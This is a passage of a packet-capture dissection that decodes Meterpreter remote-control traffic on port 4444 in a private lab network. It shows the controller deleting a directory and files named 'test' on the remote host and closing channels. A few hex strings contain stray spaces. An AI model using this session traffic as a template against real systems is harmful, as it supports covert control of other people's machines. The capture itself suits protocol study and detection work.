    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7d 0d 12 40 00 80 06 69 c5 c0 a8 01 29 c0 a8   .}..@...i....)..
0020  01 2a c6 50 11 5c a3 78 be 3c 2e 7d 2b c8 50 18   .*.P.\.x.<.}+.P.
0030  08 04 c1 64 00 00 00 00 00 55 00 00 00 01 00 00   ...d.....U......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  6d 6b 64 69 72 00 00 00 00 29 00 01 00 02 35 34   mkdir....)....54
0060  33 30 39 32 34 30 30 37 35 32 38 36 38 30 38 38   3092400752868088
0070  38 37 38 39 36 38 32 39 37 35 39 35 30 32 00 00   87896829759502..
0080  00 00 0c 00 02 00 04 00 00 00 00                  ...........
```

```
    121 2331.898414    192.168.1.42          192.168.1.41          MTRPROT  145    4444 → 50768 [PSH, ACK] Seq=6485 Ack=8507 Win=119
Len=91
Frame 121: 145 bytes on wire (1160 bits), 145 bytes captured (1160 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6485, Ack: 8507, Len: 91
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005b [Command length]: 91
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001d000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001d000100017374646170695f66735f64656c657465... [TLV]
    Command: 0x0000001d [Length]: 29
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f64656c6574655f64697200 [Value] stdapi_fs_delete_dir
Meterpreter protocol, TLV details
    Data: 00000029000100023038373439343531323530363131313131... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 303837343934353132353036313131313135353037363833332... [Value] 08749451250611115507683271694552
Meterpreter protocol, TLV details
    Data: 0000000d000104b074657374 [TLV]
    Command: 0x0000000d [Length]: 13
    Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
    Data: 7465737400 [Value] test
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 83 64 58 40 00 40 06 52 79 c0 a8 01 2a c0 a8   ..dX@.@.Ry...*..
0020  01 29 11 5c c6 50 2e 7d 2b c8 a3 78 be 91 50 18   .).\.P.}+..x..P.
0030  00 77 84 19 00 00 00 00 00 5b 00 00 00 00 00 00   .w.......[......
0040  00 1d 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  64 65 6c 65 74 65 5f 64 69 72 00 00 00 00 29 00   delete_dir....).
0060  01 00 02 30 38 37 34 39 34 35 31 32 35 30 36 31   ...0874945125061
0070  31 31 31 35 35 30 37 36 38 33 32 37 31 36 39 34   1115507683271694
0080  35 35 32 00 00 00 00 0d 00 01 04 b0 74 65 73 74   552.........test
0090  00                                                .
```

```
    122 2331.899431    192.168.1.41          192.168.1.42          MTRPROT  144    50768 → 4444 [PSH, ACK] Seq=8507 Ack=6576 
Win=2051 Len=90
Frame 122: 144 bytes on wire (1152 bits), 144 bytes captured (1152 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8507, Ack: 6576, Len: 90
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005a [Command length]: 90
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001d000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001d000100017374646170695f66735f64656c657465... [TLV]
    Command: 0x0000001d [Length]: 29
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f64656c6574655f64697200 [Value] stdapi_fs_delete_dir
Meterpreter protocol, TLV details
    Data: 00000029000100023038373439343531323530363131313131... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3038373439343531323530363131313131353530373638333332... [Value] 08749451250611115507683271694552
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 82 0d 13 40 00 80 06 69 bf c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 be 91 2e 7d 2c 23 50 18   .*.P.\.x...},#P.
0030  08 03 f1 9b 00 00 00 00 00 5a 00 00 00 01 00 00   .........Z......
0040  00 1d 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  64 65 6c 65 74 65 5f 64 69 72 00 00 00 00 29 00   delete_dir....).
0060  01 00 02 30 38 37 34 39 34 35 31 32 35 30 36 31   ...0874945125061
0070  31 31 31 35 35 30 37 36 38 33 32 37 31 36 39 34   1115507683271694
0080  35 35 32 00 00 00 00 0c 00 02 00 04 00 00 00 00   552.............
```

```
    123 2352.526964    192.168.1.42          192.168.1.41          MTRPROT  150    4444 → 50768 [PSH, ACK] Seq=6576 Ack=8597 Win=119
Len=96
Frame 123: 150 bytes on wire (1200 bits), 150 bytes captured (1200 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6576, Ack: 8597, Len: 96
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000060 [Command length]: 96
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001e000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001e000100017374646170695f66735f64656c657465... [TLV]
    Command: 0x0000001e [Length]: 30
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f64656c6574655f66696c6500 [Value] stdapi_fs_delete_file
Meterpreter protocol, TLV details
    Data: 0000002900010002343134353432343731303532353933393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3431343534323437313035323539333936303531393539393... [Value] 414542471052593960519599121051 24
Meterpreter protocol, TLV details
    Data: 00000011000104b2746573742e747874 [TLV]
    Command: 0x00000011 [Length]: 17
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 746573742e74787400 [Value] test.txt
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 88 64 5a 40 00 40 06 52 72 c0 a8 01 2a c0 a8   ..dZ@.@.Rr...*..
0020  01 29 11 5c c6 50 2e 7d 2c 23 a3 78 be eb 50 18   .).\.P.},#.x..P.
0030  00 77 84 1e 00 00 00 00 00 60 00 00 00 00 00 00   .w.......`......
0040  00 1e 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  64 65 6c 65 74 65 5f 66 69 6c 65 00 00 00 00 29   delete_file....)
0060  00 01 00 02 34 31 34 35 34 32 34 37 31 30 35 32   ....414542471052
0070  35 39 33 39 36 30 35 31 39 35 39 39 31 32 31 30   5939605195991210
0080  35 31 32 34 00 00 00 00 11 00 01 04 b2 74 65 73   5124.........tes
0090  74 2e 74 78 74 00                                 t.txt.
```

```
    124 2352.529323    192.168.1.41          192.168.1.42          MTRPROT  145    50768 → 4444 [PSH, ACK] Seq=8597 Ack=6672 
Win=2051 Len=91
Frame 124: 145 bytes on wire (1160 bits), 145 bytes captured (1160 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8597, Ack: 6672, Len: 91
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005b [Command length]: 91
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001e00010001737464617069 5f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001e0001000173746461706 95f66735f64656c657465... [TLV]
    Command: 0x0000001e [Length]: 30
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f64656c6574655f66696c6500 [Value] stdapi_fs_delete_file
Meterpreter protocol, TLV details
    Data: 000000290001000234313435343234373130353235393339... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 343134353432343731303532353933393630353139353939... [Value] 414542471052593960519599121 05124
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 00 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 83 0d 14 40 00 80 06 69 bd c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 be eb 2e 7d 2c 83 50 18   .*.P.\.x...},.P.
0030  08 03 a6 cc 00 00 00 00 00 5b 00 00 00 01 00 00   .........[......
0040  00 1e 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  64 65 6c 65 74 65 5f 66 69 6c 65 00 00 00 00 29   delete_file....)
0060  00 01 00 02 34 31 34 35 34 32 34 37 31 30 35 32   ....414542471052
0070  35 39 33 39 36 30 35 31 39 35 39 39 31 32 31 30   5939605195991210
0080  35 31 32 34 00 00 00 00 0c 00 02 00 04 00 00 00   5124............
0090  00                                                .
```

```
    125 2373.512541    192.168.1.42          192.168.1.41          MTRPROT  150    4444 → 50768 [PSH, ACK] Seq=6672 Ack=8688 Win=119
Len=96
Frame 125: 150 bytes on wire (1200 bits), 150 bytes captured (1200 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6672, Ack: 8688, Len: 96
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000060 [Command length]: 96
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001e00010001737464617069 5f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001e000100017374646170695f66735f64656c657465... [TLV]
    Command: 0x0000001e [Length]: 30
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f64656c6574655f66696c6500 [Value] stdapi_fs_delete_file
Meterpreter protocol, TLV details
    Data: 000000290001000231393139323236313635363731303330... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 313931393232363136353637313033303935333539333932... [Value] 19192261656710309535939214380391
Meterpreter protocol, TLV details
    Data: 00000011000104b2746573742e747874 [TLV]
    Command: 0x00000011 [Length]: 17
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 746573742e74787400 [Value] test.txt
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 88 64 5c 40 00 40 06 52 70 c0 a8 01 2a c0 a8   ..d\@.@.Rp...*..
0020  01 29 11 5c c6 50 2e 7d 2c 83 a3 78 bf 46 50 18   .).\.P.},..x.FP.
0030  00 77 84 1e 00 00 00 00 00 60 00 00 00 00 00 00   .w.......`......
0040  00 1e 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  64 65 6c 65 74 65 5f 66 69 6c 65 00 00 00 00 29   delete_file....)
0060  00 01 00 02 31 39 31 39 32 32 36 31 36 35 36 37   ....191922616567
0070  31 30 33 30 39 35 33 35 39 33 39 32 31 34 33 38   1030953593921438
0080  30 33 39 31 00 00 00 00 11 00 01 04 b2 74 65 73   0391.........tes
0090  74 2e 74 78 74 00                                 t.txt.
```

```
    126 2373.513224    192.168.1.41          192.168.1.42          MTRPROT  145    50768 → 4444 [PSH, ACK] Seq=8688 Ack=6768 
Win=2051 Len=91
Frame 126: 145 bytes on wire (1160 bits), 145 bytes captured (1160 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8688, Ack: 6768, Len: 91
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005b [Command length]: 91
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001e00010001737464617069 5f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001e000100017374646170695f66735f64656c657465... [TLV]
    Command: 0x0000001e [Length]: 30
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f64656c6574655f66696c6500 [Value] stdapi_fs_delete_file
Meterpreter protocol, TLV details
    Data: 000000290001000231393139323236313635363731303330... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 31393139323236313635363731303330393533353933393932... [Value] 19192261656710309535939214380391
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 83 0d 15 40 00 80 06 69 bc c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bf 46 2e 7d 2c e3 50 18   .*.P.\.x.F.},.P.
0030  08 03 a4 0a 00 00 00 00 00 5b 00 00 00 01 00 00   .........[......
0040  00 1e 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  64 65 6c 65 74 65 5f 66 69 6c 65 00 00 00 00 29   delete_file....)
0060  00 01 00 02 31 39 31 39 32 32 36 31 36 35 36 37   ....191922616567
0070  31 30 33 30 39 35 33 35 39 33 39 32 31 34 33 38   1030953593921438
0080  30 33 39 31 00 00 00 00 0c 00 02 00 04 00 00 00   0391............
0090  01                                                .
```

```
    127 2433.776369    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=6768 Ack=8779 Win=119
Len=86
Frame 127: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6768, Ack: 8779, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002333132393738373438303537353338333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3331323937383734383035373533383330353930323339... [Value] 31297874805753830590239930939996
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 5e 40 00 40 06 52 78 c0 a8 01 2a c0 a8   .~d^@.@.Rx...*..
0020  01 29 11 5c c6 50 2e 7d 2c e3 a3 78 bf a1 50 18   .).\.P.},..x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  31 32 39 37 38 37 34 38 30 35 37 35 33 38 33 30   1297874805753830
0070  35 39 30 32 33 39 39 33 30 39 33 39 39 39 36 00   590239930939996.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    128 2433.777827    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=8779 Ack=6854
Win=2050 Len=86
Frame 128: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8779, Ack: 6854, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002333132393738373438303537353338333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3331323937383734383035373533383330353930323339... [Value] 31297874805753830590239930939996
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 16 40 00 80 06 69 c0 c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 bf a1 2e 7d 2d 39 50 18   .*.P.\.x...}-9P.
0030  08 02 d7 2b 00 00 00 00 00 56 00 00 00 01 00 00   ...+.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  31 32 39 37 38 37 34 38 30 35 37 35 33 38 33 30   1297874805753830
0070  35 39 30 32 33 39 39 33 30 39 33 39 39 39 36 00   590239930939996.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    129 2493.841819    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=6854 Ack=8865 Win=119
Len=86
Frame 129: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6854, Ack: 8865, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000230373434383934303731393533353731... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 303734343839343037313935333537313531343436333232... [Value] 07448940719535715144632204756550
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 60 40 00 40 06 52 76 c0 a8 01 2a c0 a8   .~d`@.@.Rv...*..
0020  01 29 11 5c c6 50 2e 7d 2d 39 a3 78 bf f7 50 18   .).\.P.}-9.x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  37 34 34 38 39 34 30 37 31 39 35 33 35 37 31 35   7448940719535715
0070  31 34 34 36 33 32 32 30 34 37 35 36 35 35 30 00   144632204756550.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    130 2493.842937    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=8865 Ack=6940
Win=2050 Len=86
Frame 130: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8865, Ack: 6940, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002303734343839343037313935333537313... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 303734343839343037313935333537313531343436333232... [Value] 07448940719535715144632204756550
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 18 40 00 80 06 69 be c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 bf f7 2e 7d 2d 8f 50 18   .*.P.\.x...}-.P.
0030  08 02 e4 91 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  37 34 34 38 39 34 30 37 31 39 35 33 35 37 31 35   7448940719535715
0070  31 34 34 36 33 32 32 30 34 37 35 36 35 35 30 00   144632204756550.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    131 2501.886104    192.168.1.42          192.168.1.41          MTRPROT  142    4444 → 50768 [PSH, ACK] Seq=6940 Ack=8951 Win=119
Len=88
Frame 131: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6940, Ack: 8951, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 0000002900010002343533323437303033313332313238 36... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 34353332343730303331333231323836333133343137313131... [Value] 4532470031321286313417117552748 0
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 80 64 62 40 00 40 06 52 72 c0 a8 01 2a c0 a8   ..db@.@.Rr...*..
0020  01 29 11 5c c6 50 2e 7d 2d 8f a3 78 c0 4d 50 18   .).\.P.}-..x.MP.
0030  00 77 84 16 00 00 00 00 00 58 00 00 00 00 00 00   .w.......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 34 35 33 32 34 37 30 30 33 31 33 32 31 32 38   .453247003132128
0070  36 33 31 33 34 31 37 31 31 37 35 35 32 37 34 38   6313417117552748
0080  30 00 00 00 00 0c 00 02 00 32 00 00 00 00         0........2....
```

```
    132 2501.886658    192.168.1.41          192.168.1.42          MTRPROT  142    50768 → 4444 [PSH, ACK] Seq=8951 Ack=7028 
Win=2050 Len=88
Frame 132: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8951, Ack: 7028, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 0000002900010002343533323437303033313332313238363... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3435333234373030333133323132383633313334313731313... [Value] 453247003132128631341711 75527480
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 80 0d 19 40 00 80 06 69 bb c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 c0 4d 2e 7d 2d e7 50 18   .*.P.\.x.M.}-.P.
0030  08 02 7a 81 00 00 00 00 00 58 00 00 00 01 00 00   ..z......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 34 35 33 32 34 37 30 30 33 31 33 32 31 32 38   .453247003132128
0070  36 33 31 33 34 31 37 31 31 37 35 35 32 37 34 38   6313417117552748
0080  30 00 00 00 00 0c 00 02 00 04 00 00 00 01         0............
```

